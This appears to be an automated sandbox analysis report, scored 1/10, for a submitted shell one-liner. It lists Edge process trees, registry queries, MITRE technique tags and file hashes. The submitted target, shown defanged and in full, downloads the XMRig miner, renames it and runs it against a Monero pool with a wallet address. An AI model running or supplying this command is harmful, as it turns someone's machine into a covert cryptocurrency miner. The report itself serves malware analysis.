hxxp://wget hxxps://github[.]com/xmrig/xmrig/releases/download/v6[.]21[.]3/xmrig-6[.]21[.]3-linux-static-x64[.]tar[.]gz && tar -xz -f xmrig-6[.]21[.]3-linux-static-x64[.]tar[.]gz && cd xmrig-6[.]21[.]3 && mv xmrig cool && [.]/cool -o xmrpool[.]eu[:]3333 -u 85x47zGA5b3LTwqxGLaeHBCoGvbGwd9RP3Qmg7cp7keGa783qFi3ccbhGWWZ7iTW7mDN85i6L3P7nGnS2i1sstiw5Nebrhv

Resubmissions

06/07/2024, 06:03

240706-gsbdmazhke 3

06/07/2024, 06:02

240706-gry4aszhjb 1

06/07/2024, 05:59

240706-gpy1hsxfmp 3

Analysis

max time kernel
15s
max time network
21s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
06/07/2024, 06:02

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General

Target

http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 85x47zGA5b3LTwqxGLaeHBCoGvbGwd9RP3Qmg7cp7keGa783qFi3ccbhGWWZ7iTW7mDN85i6L3P7nGnS2i1sstiw5Nebrhv

Score

1^/10

Malware Config

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1628	msedge.exe
1628	msedge.exe
1332	msedge.exe
1332	msedge.exe
1844	identity_helper.exe
1844	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe
1332	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 4220	1332	msedge.exe	80
PID 1332 wrote to memory of 4220	1332	msedge.exe	80
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 4412	1332	msedge.exe	81
PID 1332 wrote to memory of 1628	1332	msedge.exe	82
PID 1332 wrote to memory of 1628	1332	msedge.exe	82
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83
PID 1332 wrote to memory of 208	1332	msedge.exe	83

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://wget https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz && tar -xz -f xmrig-6.21.3-linux-static-x64.tar.gz && cd xmrig-6.21.3 && mv xmrig cool && ./cool -o xmrpool.eu:3333 -u 85x47zGA5b3LTwqxGLaeHBCoGvbGwd9RP3Qmg7cp7keGa783qFi3ccbhGWWZ7iTW7mDN85i6L3P7nGnS2i1sstiw5Nebrhv
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9903a46f8,0x7ff9903a4708,0x7ff9903a4718
  2⤵
  PID:4220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2084 /prefetch:2
  2⤵
  PID:4412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2860 /prefetch:8
  2⤵
  PID:208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:2560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
  2⤵
  PID:5096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4084 /prefetch:1
  2⤵
  PID:1436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3608 /prefetch:1
  2⤵
  PID:116
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4648 /prefetch:8
  2⤵
  PID:2328
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4648 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
  2⤵
  PID:972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4712 /prefetch:1
  2⤵
  PID:3632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:4076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,10692911784281925967,3150819802956393861,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1
  2⤵
  PID:4308

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2736

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
56641592f6e69f5f5fb06f2319384490

SHA1
6a86be42e2c6d26b7830ad9f4e2627995fd91069

SHA256
02d4984e590e947265474d592e64edde840fdca7eb881eebde3e220a1d883455

SHA512
c75e689b2bbbe07ebf72baf75c56f19c39f45d5593cf47535eb722f95002b3ee418027047c0ee8d63800f499038db5e2c24aff9705d830c7b6eaa290d9adc868

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
612a6c4247ef652299b376221c984213

SHA1
d306f3b16bde39708aa862aee372345feb559750

SHA256
9d8e24c91cff338e56b518a533cb2e49a2803356bbf6e04892fb168a7ce2844a

SHA512
34a14d63abb1e3fe0f9927a94393043d458fe0624843e108d290266f554018e6379cba924cb5388735abdd6c5f1e2e318478a673f3f9b762815a758866d10973

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
ef6bb73f4514a1e076e04f278b955b67

SHA1
d05abf1bd8befaf7477a3822e8e25d1650cc3031

SHA256
b6fa0d174918f0874f1f763848e9c24d87ef6f545db8a0b7e2b52c057e9fe6b4

SHA512
ffed6fa47ef1b28a883ebcab5004a4a00d0379c091db09d5953dadd2ddd34c4043228944dc3f1092dafd8ef46cde81daf4d10870d7fd0c7479ed367a1cd81c36

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
16938970397d72210de70bf7b5475acd

SHA1
3682ddf1bcf981002e41adba197d161591d99771

SHA256
e9d42e6dad4166ca269b96cf469b9c8a44ebc5c6e009b1eca604ab67d90edd83

SHA512
4775b183d9a260a1c011499b1a8cffffb318e1812fadf56528a901fb14639df5ca0c9ae6ad17483d2a338ecc85ebe2dbd85144915950fa886aba6745a31d56d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
e05da96b1fdcf978073044b21cee64ef

SHA1
96d49c12706e97d46950de22fb1b3a6af5671353

SHA256
1e8b549c04899bdfb4421e4975b1ef8f6e8abf2c32fa7cfbf6369a32ceccf506

SHA512
b7f633baea5972acc18b63d7d4355391adb868974e294115b33e9c7dc20fdf329aeded9fb50188674c89d9e8912fc7c77dbf600ca13d8a20972cc408f1906175

Download Submit